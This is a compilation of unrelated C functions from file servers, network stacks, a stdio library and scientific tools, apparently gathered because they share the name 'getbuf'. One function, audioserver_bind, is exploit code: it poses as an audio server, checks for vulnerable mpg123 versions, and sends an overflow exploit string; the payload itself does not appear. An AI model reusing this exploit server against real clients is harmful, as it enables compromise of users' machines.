int get_user6( in_port_t lport, in_port_t fport, struct sockaddr_storage *laddr, struct sockaddr_storage *faddr) { struct socket *sockp, sock; struct inpcbhead pcb6; int ret; ret = getbuf(kinfo->nl[N_TCB6].n_value, &pcb6, sizeof(pcb6)); if (ret == -1) return (-1); sockp = getlist6(&pcb6, lport, fport, &SIN6(laddr)->sin6_addr, &SIN6(faddr)->sin6_addr); if (sockp == NULL) return (-1); ret = getbuf((u_long) sockp, &sock, sizeof(sock)); if (ret == -1) return (-1); return (sock.so_uid); }
int get_user4( in_port_t lport, in_port_t fport, struct sockaddr_storage *laddr, struct sockaddr_storage *faddr) { struct socket *sockp, sock; struct inpcbhead tcb; int ret; ret = getbuf(kinfo->nl[N_TCB].n_value, &tcb, sizeof(tcb)); if (ret == -1) return (-1); sockp = getlist4(&tcb, lport, fport, &SIN4(laddr)->sin_addr, &SIN4(faddr)->sin_addr); if (sockp == NULL) return (-1); ret = getbuf((u_long) sockp, &sock, sizeof(sock)); if (ret == -1) return (-1); return (sock.so_uid); }
static Iobuf* xtag(long a, int tag, long qpath) { Iobuf *p; if(a == 0) return 0; p = getbuf(dev, a, Bread); if(!p) { cprint("check: \"%s\": xtag: p null\n", name); if(flags & (Cream|Ctag)) { p = getbuf(dev, a, Bmod); if(p) { memset(p->iobuf, 0, RBUFSIZE); settag(p, tag, qpath); mod++; return p; } } return 0; } if(checktag(p, tag, qpath)) { cprint("check: \"%s\": xtag: checktag\n", name); if(flags & Cream) memset(p->iobuf, 0, RBUFSIZE); if(flags & (Cream|Ctag)) { settag(p, tag, qpath); mod++; } return p; } return p; }
static void _get_picker_strings(QSP_ARG_DECL Screen_Obj *sop, int n_cyl ) { int *count_tbl; int i, j, n_max; const char **string_arr; int n; // set by get_strings? SET_SOB_SELECTOR_TBL(sop, (const char ***)getbuf( n_cyl * sizeof(char **) )); SET_SOB_N_CYLINDERS(sop, n_cyl ); count_tbl = getbuf( n_cyl * sizeof(int) ); SET_SOB_COUNT_TBL(sop,count_tbl); n_max=0; for(i=0;i<n_cyl;i++){ const char **selectors; n=get_strings(sop,&string_arr); if( n < 0 ) return; // BUG clean up! else if( n > 0 ){ SET_SOB_N_SELECTORS_AT_IDX(sop, i, n); selectors = (const char **)getbuf( n * sizeof(char **) ); SET_SOB_SELECTORS_AT_IDX(sop, i, selectors ); for(j=0;j<n;j++){ SET_SOB_SELECTOR_AT_IDX(sop,i,j,string_arr[j]); } givbuf(string_arr); if( n > n_max ) n_max = n; } else { assert(string_arr == NULL); } } }
void xp_fill_polygon(int num_points, float* x_vals, float* y_vals) { int *xp,*yp; int i; float fx,fy; if( plot_vp == NO_VIEWER ) return; /* BUG should scale the points */ xp = (int *) getbuf( num_points * sizeof(int) ); yp = (int *) getbuf( num_points * sizeof(int) ); for(i=0;i<num_points;i++){ fx=x_vals[i]; fy=y_vals[i]; scale_fxy(plot_vp,&fx,&fy); xp[i] = (int) nearbyintf(fx); yp[i] = (int) nearbyintf(fy); } _xp_fill_polygon(plot_vp, num_points, xp, yp); givbuf(xp); givbuf(yp); }
void ReadNextNonEmptyLine(void) { getbuf (); while (!buf[0] && !feof(F)) { getbuf (); } }
/* * free the block at `addr' on dev. * if it's an indirect block (d [depth] > 0), * first recursively free all the blocks it names. * * ts->relblk is the block number within the file of this * block (or the first data block eventually pointed to via * this indirect block). */ void buffree(Device *dev, Off addr, int d, Truncstate *ts) { Iobuf *p; Off a; int i, pastlast; if(!addr) return; pastlast = (ts == nil? 1: ts->pastlast); /* * if this is an indirect block, recurse and free any * suitable blocks within it (possibly via further indirect blocks). */ if(d > 0) { d--; p = getbuf(dev, addr, Brd); if(p) { if (ts == nil) /* common case: create */ for(i=INDPERBUF-1; i>=0; i--) { a = ((Off *)p->iobuf)[i]; buffree(dev, a, d, nil); } else /* wstat truncation */ for (i = 0; i < INDPERBUF; i++) truncfree(ts, dev, d, p, i); putbuf(p); } } if (!pastlast) return; /* * having zeroed the pointer to this block, add it to the free list. * stop outstanding i/o */ p = getbuf(dev, addr, Bprobe); if(p) { p->flags &= ~(Bmod|Bimm); putbuf(p); } /* * dont put written worm * blocks into free list */ if(dev->type == Devcw) { i = cwfree(dev, addr); if(i) return; } p = getbuf(dev, superaddr(dev), Brd|Bmod); if(!p || checktag(p, Tsuper, QPSUPER)) panic("buffree: super block"); addfree(dev, addr, (Superb*)p->iobuf); putbuf(p); }
int doclri(File *f) { Iobuf *p, *p1; Dentry *d, *d1; int err; err = 0; p = 0; p1 = 0; if(f->fs->dev->type == Devro) { err = Eronly; goto out; } /* * check on parent directory of file to be deleted */ if(f->wpath == 0 || f->wpath->addr == f->addr) { err = Ephase; goto out; } p1 = getbuf(f->fs->dev, f->wpath->addr, Brd); d1 = getdir(p1, f->wpath->slot); if(!d1 || checktag(p1, Tdir, QPNONE) || !(d1->mode & DALLOC)) { err = Ephase; goto out; } accessdir(p1, d1, FWRITE, 0); putbuf(p1); p1 = 0; /* * check on file to be deleted */ p = getbuf(f->fs->dev, f->addr, Brd); d = getdir(p, f->slot); /* * do it */ memset(d, 0, sizeof(Dentry)); settag(p, Tdir, QPNONE); freewp(f->wpath); freefp(f); out: if(p1) putbuf(p1); if(p) putbuf(p); return err; }
static struct socket *getlist6( struct in6pcb *tcb6, #endif in_port_t lport, in_port_t fport, const struct in6_addr *laddr, const struct in6_addr *faddr) { #if __NetBSD_Version__ >= 106250000 struct in6pcb *kpcbp, pcb; if (tcbtablep == NULL) return (NULL); kpcbp = (struct in6pcb *) tcbtablep->inpt_queue.cqh_first; while (kpcbp != (struct in6pcb *) ktcbtablep) { if (getbuf((u_long) kpcbp, &pcb, sizeof(struct in6pcb)) == -1) break; if (pcb.in6p_fport == fport && pcb.in6p_lport == lport && IN6_ARE_ADDR_EQUAL(&pcb.in6p_laddr, laddr) && IN6_ARE_ADDR_EQUAL(&pcb.in6p_faddr, faddr)) { return (pcb.in6p_socket); } kpcbp = (struct in6pcb *) pcb.in6p_queue.cqe_next; } #else struct in6pcb *tcb6_cur, tcb6_temp; if (tcb6 == NULL) return (NULL); tcb6_cur = tcb6; memcpy(&tcb6_temp, tcb6, sizeof(tcb6_temp)); do { if (tcb6_temp.in6p_fport == fport && tcb6_temp.in6p_lport == lport && IN6_ARE_ADDR_EQUAL(&tcb6_temp.in6p_laddr, laddr) && IN6_ARE_ADDR_EQUAL(&tcb6_temp.in6p_faddr, faddr)) { return (tcb6_temp.in6p_socket); } tcb6_cur = tcb6_temp.in6p_next; if (getbuf((u_long) tcb6_cur, &tcb6_temp, sizeof(tcb6_temp)) == -1) break; } while ((u_long) tcb6_cur != kinfo->nl[N_TCB6].n_value); #endif return (NULL); }
/* the "audio server" fake daemon, what mpg123 connects to. */ char *audioserver_bind(void){ unsigned int salen=0; int ssock=0,sock=0,so=1; char *buf; struct sockaddr_in ssa,sa; if(!(buf=(char *)malloc(1024+1))) printe("audioserver_bind(): allocating memory failed.",1); ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); /* not everywheres, maybe pretty close by now though. */ #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); while(ssock){ printf("[*] awaiting connection from: *:%d.\n",port); listen(ssock,1); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); printf("[*] audio server connection established. (%s)\n", inet_ntoa(sa.sin_addr)); /* to verify the agent, ie. "User-Agent: mpg123/0.59r\n". */ printf("[*] waiting for request information, to verify the client.\n"); read(sock,buf,1024); if(strstr(buf,"mpg123/0.59r")||strstr(buf,"mpg123/0.59s")){ printf("[*] client is running an exploitable version, continuing.\n"); /* got the client we want, close the server socket. */ close(ssock); ssock=0; } else{ printf("[!] client is not running an exploitable version, skipped.\n"); close(sock); } } /* send the pre-packaged all-in-one exploit string. */ printf("[*] sending the string to exploit the overflow condition.\n"); write(sock,getbuf(),strlen(getbuf())); /* sleeps always make me feel safer for some reason. */ sleep(1); close(sock); printf("[*] closed audio server connection.\n"); free(buf); /* return the host that connected to us. */ return(inet_ntoa(sa.sin_addr)); }
int get_user6( in_port_t lport, in_port_t fport, struct sockaddr_storage *laddr, struct sockaddr_storage *faddr) { #if __NetBSD_Version__ >= 106250000 /* 1.6Y */ struct socket *sockp, sock; struct inpcbtable tcbtable; int ret; #ifdef SO_UIDINFO struct uidinfo uidinfo; #endif ret = getbuf(kinfo->nl[N_TCB6].n_value, &tcbtable, sizeof(tcbtable)); if (ret == -1) return (-1); sockp = getlist6(&tcbtable, (struct inpcbtable *) kinfo->nl[N_TCB6].n_value, lport, fport, &SIN6(laddr)->sin6_addr, &SIN6(faddr)->sin6_addr); #else struct socket *sockp, sock; struct in6pcb tcb6; int ret; ret = getbuf(kinfo->nl[N_TCB6].n_value, &tcb6, sizeof(tcb6)); if (ret == -1) return (-1); sockp = getlist6(&tcb6, lport, fport, &SIN6(laddr)->sin6_addr, &SIN6(faddr)->sin6_addr); #endif if (sockp == NULL) return (-1); if (getbuf((u_long) sockp, &sock, sizeof(sock)) == -1) return (-1); #ifdef SO_UIDINFO if (sock.so_uidinfo == NULL) return (-1); if (getbuf((u_long) sock.so_uidinfo, &uidinfo, sizeof(uidinfo)) == -1) return (-1); return (uidinfo.ui_uid); #else return (sock.so_uid); #endif }
void cmd_printconf(int, char *[]) { char *p, *s; Iobuf *iob; iob = getbuf(confdev, 0, Brd); if(iob == nil) return; if(checktag(iob, Tconfig, 0)){ putbuf(iob); return; } print("config %s\n", nvrgetconfig()); for(s = p = iob->iobuf; *p != 0 && p < iob->iobuf+BUFSIZE; ){ if(*p++ != '\n') continue; if (strncmp(s, "ip", 2) != 0) /* don't print obsolete cmds */ print("%.*s", (int)(p-s), s); s = p; } if(p != s) print("%.*s", (int)(p-s), s); print("end\n"); putbuf(iob); }
/* * return the number of the highest-numbered block actually written, plus 1. * 0 indicates an error. */ static Devsize writtensize(Device *worm) { Devsize lim = devsize(worm); Iobuf *p; print("devsize(%Z) = %lld\n", worm, (Wideoff)lim); if (!blockok(worm, 0) || !blockok(worm, lim-1)) return 0; delay(5*1000); if (userabort("sanity checks")) return 0; /* find worm's last valid block in case "worm" is an (f)worm */ while (lim > 0) { if (userabort("sizing")) { lim = 0; /* you lose */ break; } --lim; p = getbuf(worm, lim, Brd); if (p != 0) { /* actually read one okay? */ putbuf(p); break; } } print("limit(%Z) = %lld\n", worm, (Wideoff)lim); if (lim <= 0) return 0; return lim + 1; }
int filbuf(FILE *stream) { if (stream->flag & _IOSTR) return EOF; if (stream->flag & _IOWR) { stream->flag |= _IOERR; return EOF; } stream->flag |= _IORD; // Get a buffer, if necessary. if (!anybuf(stream)) { getbuf(stream); } else { stream->ptr = stream->base; } stream->cnt = read(fileno(stream), stream->base, stream->bufsiz); if (stream->cnt <= 0) { stream->flag |= stream->cnt ? _IOERR : _IOEOF; stream->cnt = 0; return EOF; } stream->cnt--; return *stream->ptr++ & 0xff; }
int ungetc(int c, FILE *stream) { // Stream must be open for read and can NOT be currently in write mode. // Also, ungetc() character cannot be EOF. if (c == EOF) return EOF; if (!((stream->flag & _IORD) || ((stream->flag & _IORW) && !(stream->flag & _IOWR)))) return EOF; // If stream is unbuffered, get one. if (stream->base == NULL) getbuf(stream); // Now we know base != NULL; since file must be buffered if (stream->ptr == stream->base) { if (stream->cnt) return EOF; stream->ptr++; } if (stream->flag & _IOSTR) { // If stream opened by sscanf do not modify buffer if (*--stream->ptr != (char) c) { ++stream->ptr; return EOF; } } else { *--stream->ptr = (char) c; } stream->cnt++; stream->flag &= ~_IOEOF; stream->flag |= _IORD; return c & 0xff; }
/* ** Traverse the inpcb list until a match is found. ** Returns NULL if no match. */ static struct socket * getlist(kvm_t *kd, struct inpcb *pcbp, struct in_addr *faddr, int fport, struct in_addr *laddr, int lport) { struct inpcb *head; int limiter = 65536; if (pcbp == NULL) return NULL; head = pcbp->inp_prev; do { if ( pcbp->inp_faddr.s_addr == faddr->s_addr && pcbp->inp_laddr.s_addr == laddr->s_addr && pcbp->inp_fport == fport && pcbp->inp_lport == lport) return (struct socket *) (pcbp->inp_socket); if (--limiter <= 0) break; } while (pcbp->inp_next != head && getbuf(kd, (off_t) pcbp->inp_next, pcbp, sizeof(struct inpcb), "tcblist")); return NULL; }
static int32_t iread(Xfile *f, char *buf, int64_t offset, int32_t count) { int n, o, rcnt = 0; int64_t size, addr; Isofile *ip = f->ptr; Iobuf *p; size = fakemax(l32(ip->d.size)); if(offset >= size) return 0; if(offset+count > size) count = size - offset; addr = ((int64_t)l32(ip->d.addr) + ip->d.attrlen)*ip->blksize + offset; o = addr % Sectorsize; addr /= Sectorsize; /*chat("d.addr=%ld, addr=%lld, o=%d...", l32(ip->d.addr), addr, o);*/ n = Sectorsize - o; while(count > 0){ if(n > count) n = count; p = getbuf(f->xf->d, addr); memmove(&buf[rcnt], &p->iobuf[o], n); putbuf(p); count -= n; rcnt += n; ++addr; o = 0; n = Sectorsize; } return rcnt; }
static COMMAND_FUNC( do_test_clock ) { int i,n; struct timeval *tv_tbl; n = (int)HOW_MANY("number of times to read the clock"); tv_tbl = (struct timeval *) getbuf(n*sizeof(struct timeval)); /* We've observed on poisson that vblank loops have gaps of around 80 msec which double the elapsed time!? * Can we observe this effect with a simple clock read? * The number of values we have to store depends on the time per read... * If it's 1 usec, then we need 100k reads to take 100 msec... */ for(i=0;i<n;i++){ gettimeofday(&tv_tbl[i],NULL); } /* Now show */ for(i=0;i<n;i++){ sprintf(msg_str,"%ld\t%ld",(long)tv_tbl[i].tv_sec,(long)tv_tbl[i].tv_usec); prt_msg(msg_str); } givbuf(tv_tbl); }
/*------------------------------------------------------------------------ * mkarp - allocate and fill in an ARP or RARP packet *------------------------------------------------------------------------ */ static struct ep * mkarp(int ifn, short type, short op, IPaddr spa, IPaddr tpa) { register struct arp *parp; struct ep *pep; pep = (struct ep *) getbuf(Net.netpool); if ((int)pep == SYSERR) return (struct ep *)SYSERR; memcpy(pep->ep_dst, nif[ifn].ni_hwb.ha_addr, EP_ALEN); pep->ep_order = ~0; pep->ep_type = type; parp = (struct arp *)pep->ep_data; parp->ar_hwtype = hs2net(AR_HARDWARE); parp->ar_prtype = hs2net(EPT_IP); parp->ar_hwlen = EP_ALEN; parp->ar_prlen = IP_ALEN; parp->ar_op = hs2net(op); memcpy(SHA(parp), nif[ifn].ni_hwa.ha_addr, EP_ALEN); memcpy(SPA(parp), &spa, IP_ALEN); memcpy(THA(parp), nif[ifn].ni_hwa.ha_addr, EP_ALEN); memcpy(TPA(parp), &tpa, IP_ALEN); return pep; }
static struct socket *getlist6( struct inpcbhead *pcbhead, in_port_t lport, in_port_t fport, const struct in6_addr *laddr, const struct in6_addr *faddr) { struct in6pcb *pcb6p, pcb6; if (pcbhead == NULL) return (NULL); pcb6p = pcbhead->lh_first; while (pcb6p != NULL) { if (getbuf((u_long) pcb6p, &pcb6, sizeof(struct in6pcb)) == -1) break; if (pcb6.in6p_fport == fport && pcb6.in6p_lport == lport && IN6_ARE_ADDR_EQUAL(&pcb6.in6p_laddr, laddr) && IN6_ARE_ADDR_EQUAL(&pcb6.in6p_faddr, faddr)) { return (pcb6.in6p_socket); } pcb6p = pcb6.inp_list.le_next; } return (NULL); }
void addfree(Device dev, long addr, Superb *sb) { int n; Iobuf *p; if(addr >= sb->fsize){ print("addfree: bad addr %lux\n", addr); return; } n = sb->fbuf.nfree; if(n < 0 || n > FEPERBUF) panic("addfree: bad freelist"); if(n >= FEPERBUF) { p = getbuf(dev, addr, Bmod); if(p == 0) panic("addfree: getbuf"); memmove(p->iobuf, &sb->fbuf, (FEPERBUF+1)*sizeof(long)); settag(p, Tfree, QPNONE); putbuf(p); n = 0; } sb->fbuf.free[n++] = addr; sb->fbuf.nfree = n; sb->tfree++; if(addr >= sb->fsize) sb->fsize = addr+1; }
void test() { int val; printf("Type Hex string:"); val = getbuf(); printf("getbuf returned 0x%x\n", val); }
void rahead(void *) { Rabuf *rb[50]; Iobuf *p; int i, n; for (;;) { rb[0] = fs_recv(raheadq, 0); for(n = 1; n < nelem(rb); n++) { if(raheadq->count <= 0) break; rb[n] = fs_recv(raheadq, 0); } qsort(rb, n, sizeof rb[0], rbcmp); for(i = 0; i < n; i++) { if(rb[i] == 0) continue; p = getbuf(rb[i]->dev, rb[i]->addr, Brd); if(p) putbuf(p); lock(&rabuflock); rb[i]->link = rabuffree; rabuffree = rb[i]; unlock(&rabuflock); } } }
int fwormwrite(Device *d, Off b, void *c) { Iobuf *p; Device *fdev; Devsize l; if(DEBUG) print("fworm write %lld\n", (Wideoff)b); fdev = FDEV(d); l = devsize(fdev); l -= l/(BUFSIZE*8) + 1; if(b >= l) panic("fworm: wbounds %lld", (Wideoff)b); l += b/(BUFSIZE*8); p = getbuf(fdev, l, Brd|Bmod|Bres); if(!p || checktag(p, Tvirgo, l)) panic("fworm: checktag %lld", (Wideoff)l); l = b % (BUFSIZE*8); if((p->iobuf[l/8] & (1<<(l%8)))) { putbuf(p); print("fworm: write %lld\n", (Wideoff)b); return 1; } p->iobuf[l/8] |= 1<<(l%8); putbuf(p); return devwrite(fdev, b, c); }
/*------------------------------------------------------------------------ * nbgetbuf - a non-blocking version of getbuf *------------------------------------------------------------------------ */ char *nbgetbuf( bpid32 poolid /* index of pool in buftab */ ) { intmask mask; char *buf; mask = disable(); /* Check arguments */ if ( (poolid < 0 || poolid >= nbpools) ) { restore(mask); return (char *)SYSERR; } /* If the call will block, return an error */ if (semcount(buftab[poolid].bpsem) <= 0) { restore(mask); return (char *)SYSERR; } buf = getbuf(poolid); restore(mask); return buf; }
int _hash_my_key(QSP_ARG_DECL void **vpp,const char *key,int key_len) { unsigned char *digest; unsigned char *storage; int i; int need_size; // get required digest size need_size = gcry_md_get_algo_dlen(the_hash_algo); storage = getbuf(need_size); for(i=0;i<key_len;i++){ gcry_md_putc(my_hash_hdl,key[i]); } gcry_md_final(my_hash_hdl); digest = gcry_md_read(my_hash_hdl,0); memcpy(storage,digest,need_size); *vpp = storage; gcry_md_reset(my_hash_hdl); // to compute a second hash // or we could close? // return the length of the hash // For SHA256, this is 32 return the_hash_len; }
static void _init_cuda_checkpoints(QSP_ARG_DECL int n) { //CUresult e; cudaError_t drv_err; int i; if( max_cuda_checkpoints > 0 ){ sprintf(ERROR_STRING, "init_cuda_checkpoints(%d): already initialized with %d checpoints", n,max_cuda_checkpoints); warn(ERROR_STRING); return; } ckpt_tbl = (Cuda_Checkpoint *) getbuf( n * sizeof(*ckpt_tbl) ); if( ckpt_tbl == NULL ) error1("failed to allocate checkpoint table"); max_cuda_checkpoints = n; for(i=0;i<max_cuda_checkpoints;i++){ drv_err=cudaEventCreate(&ckpt_tbl[i].ckpt_event); if( drv_err != cudaSuccess ){ describe_cuda_driver_error2("init_cuda_checkpoints", "cudaEventCreate",drv_err); error1("failed to initialize checkpoint table"); } ckpt_tbl[i].ckpt_tag=NULL; } }
/*------------------------------------------------------------------------ * lsr_xmit - transmit pending Link State Request packets *------------------------------------------------------------------------ */ int lsr_xmit(struct ospf_if *pif, struct ospf_nb *pnb) { struct ep *pephead, *pep; struct ip *pip; struct ospf *po; int len; pephead = (struct ep *)headq(pnb->nb_lsrl); if (pephead == 0) return OK; pep = (struct ep *)getbuf(Net.netpool); if ((int)pep == SYSERR) return SYSERR; /* make a copy */ pip = (struct ip *)pephead->ep_data; po = (struct ospf *)pip->ip_data; len = EP_HLEN + IPMHLEN + po->ospf_len; memcpy(pep, pephead, len); pip = (struct ip *)pep->ep_data; po = (struct ospf *)pip->ip_data; po->ospf_authtype = hs2net(pif->if_area->ar_authtype); memset(po->ospf_auth, 0, AUTHLEN); len = po->ospf_len; po->ospf_len = hs2net(po->ospf_len); pep->ep_order &= ~EPO_OSPF; po->ospf_cksum = 0; po->ospf_cksum = cksum((WORD *)po, len); memcpy(po->ospf_auth, pif->if_area->ar_auth, AUTHLEN); pip->ip_src = ip_anyaddr; ipsend(pnb->nb_ipa, pep, len, IPT_OSPF, IPP_INCTL, IP_TTL); pnb->nb_tlsr = pif->if_rintv; return OK; }
static void timing(unsigned long *test_data) { unsigned long *buf = getbuf(); printf("%16s %16s %16s %16s\n", "ns", "ns / 8 bytes", "entry name", "errors"); for (int func = 0; func < NFUNCS; ++func) { long times[REPS]; long best = LONG_MAX; for (int i = 0; i < REPS; ++i) { memcpy(buf, test_data, BUFSIZE * 8); struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, &start); funcs[func].func(buf); clock_gettime(CLOCK_MONOTONIC, &end); long t = timediff(start, end); times[i] = t; if (t < best) best = t; } double d = (double)best / BUFSIZE; printf("%16ld %16.2lf %16s %16d\n", best, d, funcs[func].name, errors[func]); if (0) { for (int i = 0; i < REPS; ++i) printf("%ld ", times[i]); printf("\n"); } } free(buf); }
static int _read_format_chunk(QSP_ARG_DECL Image_File *ifp, Wav_Chunk_Hdr *wch_p) { int n_mandatory, n_extra; char *b; int status = 0; HDR_P(ifp)->wh_fhc.fhc_wch = *wch_p; // copy chunk header n_mandatory = sizeof(Wav_Fmt_Data); fprintf(stderr,"format chunk has %d mandatory bytes (should be 16?)\n", n_mandatory); if( fread(&(HDR_P(ifp)->wh_fhc.fhc_wfd),sizeof(Wav_Fmt_Data),1,ifp->if_fp) != 1 ){ wav_fatal_error("Error reading format data",ifp); return -1; } display_fmt_chunk(HDR_P(ifp)); n_extra = wch_p->wch_size - n_mandatory; if( n_extra == 0 ) return 0; if( n_extra < 0 ){ wav_error("Bad WAV format chunk size",ifp); return -1; } fprintf(stderr,"format chunk has %d extra bytes???\n",n_extra); b = getbuf(n_extra); if( fread(b,1,n_extra,ifp->if_fp) != n_extra ){ wav_error("Error reading extra format data",ifp); status = -1; } givbuf(b); // just throw away for now... return status; }